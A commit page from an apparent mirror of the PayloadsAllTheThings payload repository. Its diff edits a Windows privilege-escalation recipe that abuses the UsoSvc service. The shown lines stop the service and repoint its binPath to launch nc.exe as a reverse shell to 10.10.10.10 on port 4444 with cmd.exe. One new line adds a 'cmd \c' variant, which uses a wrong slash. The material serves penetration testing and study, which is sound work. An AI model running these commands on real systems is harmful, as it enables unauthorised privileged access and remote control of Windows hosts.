mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 05:15:26 +00:00
added cmd on the USOSVC vuln
Added `cmd \c C:\Users\nc.exe` as not typing `cmd \c` did not work for me. Might need even more explanation
This commit is contained in:
parent
173366dc65
commit
a3cc577ebd
@ -521,6 +521,7 @@ Prerequisite: Service account
|
|||||||
PS C:\Windows\system32> sc.exe stop UsoSvc
|
PS C:\Windows\system32> sc.exe stop UsoSvc
|
||||||
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||||||
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||||||
|
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||||||
PS C:\Windows\system32> sc.exe qc usosvc
|
PS C:\Windows\system32> sc.exe qc usosvc
|
||||||
[SC] QueryServiceConfig SUCCESS
|
[SC] QueryServiceConfig SUCCESS
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user